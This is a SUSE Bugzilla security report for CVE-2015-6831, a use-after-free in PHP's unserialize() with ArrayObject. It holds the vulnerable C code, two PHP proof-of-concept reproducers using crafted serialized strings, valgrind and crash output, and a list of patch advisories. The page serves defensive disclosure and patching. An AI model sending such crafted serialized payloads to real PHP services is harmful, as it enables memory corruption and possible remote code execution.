Bugzilla – Bug 942291
VUL-0: CVE-2015-6831: php5,php53: Use After Free Vulnerability in unserialize() with SPLArrayObject
Last modified: 2019-06-16 14:37:37 UTC
no cve yet? https://bugs.php.net/bug.php?id=70166 Description: ------------ ``` if (*p!= 'x' || *++p != ':') { goto outexcept; } ++p; ALLOC_INIT_ZVAL(pflags); if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pflags) != IS_LONG) { zval_ptr_dtor(&pflags); goto outexcept; } --p; /* for ';' */ flags = Z_LVAL_P(pflags); zval_ptr_dtor(&pflags); ===> free memory ... if (*p!='m') { if (*p!='a' && *p!='O' && *p!='C' && *p!='r') { goto outexcept; } intern->ar_flags &= ~SPL_ARRAY_CLONE_MASK; intern->ar_flags |= flags & SPL_ARRAY_CLONE_MASK; zval_ptr_dtor(&intern->array); ALLOC_INIT_ZVAL(intern->array); if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)) { ===> use freed memory and double-free it via crafted serialized string. goto outexcept; } } ... if (*p!= 'm' || *++p != ':') { goto outexcept; } ++p; ALLOC_INIT_ZVAL(pmembers); if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) { ===> control and use freed memory via R: or r: zval_ptr_dtor(&pmembers); goto outexcept; } ``` &pflags was be freed, but we can use that already freed memory and double-free it via crafted serialized string. ex: DateInterval::__wakeup() and other objects. so we can control and use that doubles freed memory via R: and r:. it is possible to use-after-free attack and execute arbitrary code remotely. PoC1 REPRODUCER: ``` $inner = 'x:i:0;O:12:"DateInterval":1:{s:1:"y";R:3;};m:a:1:{i:0;R:2;}'; $exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); ``` PoC2 RERPRODUCER: ``` class test { var $ryat; function __wakeup() { $this->ryat = 'ryat'; } } $inner = 'x:i:0;O:4:"test":1:{s:4:"ryat";R:3;};m:a:1:{i:0;R:2;}'; $exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); ```
Created attachment 644429 [details] testcase
Created attachment 644430 [details] testcase
Tested on 13.2: BEFORE $ USE_ZEND_ALLOC=0 valgrind php test2.php ==22189== Memcheck, a memory error detector ==22189== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al. ==22189== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info ==22189== Command: php test2.php ==22189== ==22189== Invalid read of size 4 ==22189== at 0x67A5D1: php_var_unserialize (in /usr/bin/php) ==22189== by 0x572E90: ??? (in /usr/bin/php) ==22189== by 0x67A417: php_var_unserialize (in /usr/bin/php) ==22189== by 0x5FE0F2: ??? (in /usr/bin/php) ==22189== by 0x7153FF: zend_call_function (in /usr/bin/php) ==22189== by 0x73E1D4: zend_call_method (in /usr/bin/php) [..] ==22189== ERROR SUMMARY: 29 errors from 25 contexts (suppressed: 0 from 0) $ AFTER $ USE_ZEND_ALLOC=0 valgrind php test2.php ==27609== Memcheck, a memory error detector ==27609== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al. [..] ==27610== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0) $ Similarly to test1.php
11 seems not to be affected: $ USE_ZEND_ALLOC=0 valgrind php test1.php ==711== Memcheck, a memory error detector. [...] PHP Warning: Class ArrayObject has no unserializer in /942291/test2.php on line 14 PHP Notice: unserialize(): Error at offset 17 of 77 bytes in /942291/test2.php on line 14 [...] ==711== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 2 from 1) $
11sp3 is affected: $ php test1.php PHP Notice: Object of class DateInterval could not be converted to int in /942291/test1.php on line 4 object(ArrayObject)#1 (2) { [0]=> array(5) { [0]=> string(3) "hi0" [1]=> string(3) "hi1" [2]=> string(3) "hi2" [3]=> string(3) "hi3" [4]=> string(3) "hi4" } ["storage":"ArrayObject":private]=> int(1) } Segmentation fault $
commit: http://git.php.net/?p=php-src.git;a=commit;h=7381b6accc5559b2de039af3a22f6ec1003b03b3 Waiting for CVE.
*** Bug 945188 has been marked as a duplicate of this bug. ***
CVE-2015-6831
Needinfo provided.
openSUSE-SU-2015:1628-1: An update that solves 8 vulnerabilities and has one errata is now available. Category: security (important) Bug References: 942291,942293,942294,942295,942296,945402,945403,945412,945428 CVE References: CVE-2015-6831,CVE-2015-6832,CVE-2015-6833,CVE-2015-6834,CVE-2015-6835,CVE-2015-6836,CVE-2015-6837,CVE-2015-6838 Sources used: openSUSE 13.2 (src): php5-5.6.1-36.1 openSUSE 13.1 (src): php5-5.4.20-67.1
SUSE-SU-2015:1633-1: An update that solves 8 vulnerabilities and has three fixes is now available. Category: security (important) Bug References: 935074,942291,942293,942294,942295,942296,944302,945402,945403,945412,945428 CVE References: CVE-2015-6831,CVE-2015-6832,CVE-2015-6833,CVE-2015-6834,CVE-2015-6835,CVE-2015-6836,CVE-2015-6837,CVE-2015-6838 Sources used: SUSE Linux Enterprise Software Development Kit 12 (src): php5-5.5.14-36.1 SUSE Linux Enterprise Module for Web Scripting 12 (src): php5-5.5.14-36.1
SUSE-SU-2015:1818-1: An update that solves 5 vulnerabilities and has two fixes is now available. Category: security (important) Bug References: 935074,942291,942294,942295,942296,945412,945428 CVE References: CVE-2015-6831,CVE-2015-6833,CVE-2015-6836,CVE-2015-6837,CVE-2015-6838 Sources used: SUSE Linux Enterprise Software Development Kit 11-SP4 (src): php53-5.3.17-48.1 SUSE Linux Enterprise Software Development Kit 11-SP3 (src): php53-5.3.17-48.1 SUSE Linux Enterprise Server for VMWare 11-SP3 (src): php53-5.3.17-48.1 SUSE Linux Enterprise Server 11-SP4 (src): php53-5.3.17-48.1 SUSE Linux Enterprise Server 11-SP3 (src): php53-5.3.17-48.1 SUSE Linux Enterprise Debuginfo 11-SP4 (src): php53-5.3.17-48.1 SUSE Linux Enterprise Debuginfo 11-SP3 (src): php53-5.3.17-48.1
released
SUSE-SU-2016:1638-1: An update that fixes 85 vulnerabilities is now available. Category: security (important) Bug References: 884986,884987,884989,884990,884991,884992,885961,886059,886060,893849,893853,902357,902360,902368,910659,914690,917150,918768,919080,921950,922451,922452,923945,924972,925109,928506,928511,931421,931769,931772,931776,933227,935074,935224,935226,935227,935229,935232,935234,935274,935275,938719,938721,942291,942296,945412,945428,949961,968284,969821,971611,971612,971912,973351,973792,976996,976997,977003,977005,977991,977994,978827,978828,978829,978830,980366,980373,980375,981050,982010,982011,982012,982013,982162 CVE References: CVE-2004-1019,CVE-2006-7243,CVE-2014-0207,CVE-2014-3478,CVE-2014-3479,CVE-2014-3480,CVE-2014-3487,CVE-2014-3515,CVE-2014-3597,CVE-2014-3668,CVE-2014-3669,CVE-2014-3670,CVE-2014-4049,CVE-2014-4670,CVE-2014-4698,CVE-2014-4721,CVE-2014-5459,CVE-2014-8142,CVE-2014-9652,CVE-2014-9705,CVE-2014-9709,CVE-2014-9767,CVE-2015-0231,CVE-2015-0232,CVE-2015-0273,CVE-2015-1352,CVE-2015-2301,CVE-2015-2305,CVE-2015-2783,CVE-2015-2787,CVE-2015-3152,CVE-2015-3329,CVE-2015-3411,CVE-2015-3412,CVE-2015-4021,CVE-2015-4022,CVE-2015-4024,CVE-2015-4026,CVE-2015-4116,CVE-2015-4148,CVE-2015-4598,CVE-2015-4599,CVE-2015-4600,CVE-2015-4601,CVE-2015-4602,CVE-2015-4603,CVE-2015-4643,CVE-2015-4644,CVE-2015-5161,CVE-2015-5589,CVE-2015-5590,CVE-2015-6831,CVE-2015-6833,CVE-2015-6836,CVE-2015-6837,CVE-2015-6838,CVE-2015-7803,CVE-2015-8835,CVE-2015-8838,CVE-2015-8866,CVE-2015-8867,CVE-2015-8873,CVE-2015-8874,CVE-2015-8879,CVE-2016-2554,CVE-2016-3141,CVE-2016-3142,CVE-2016-3185,CVE-2016-4070,CVE-2016-4073,CVE-2016-4342,CVE-2016-4346,CVE-2016-4537,CVE-2016-4538,CVE-2016-4539,CVE-2016-4540,CVE-2016-4541,CVE-2016-4542,CVE-2016-4543,CVE-2016-4544,CVE-2016-5093,CVE-2016-5094,CVE-2016-5095,CVE-2016-5096,CVE-2016-5114 Sources used: SUSE Linux Enterprise Server 11-SP2-LTSS (src): php53-5.3.17-47.1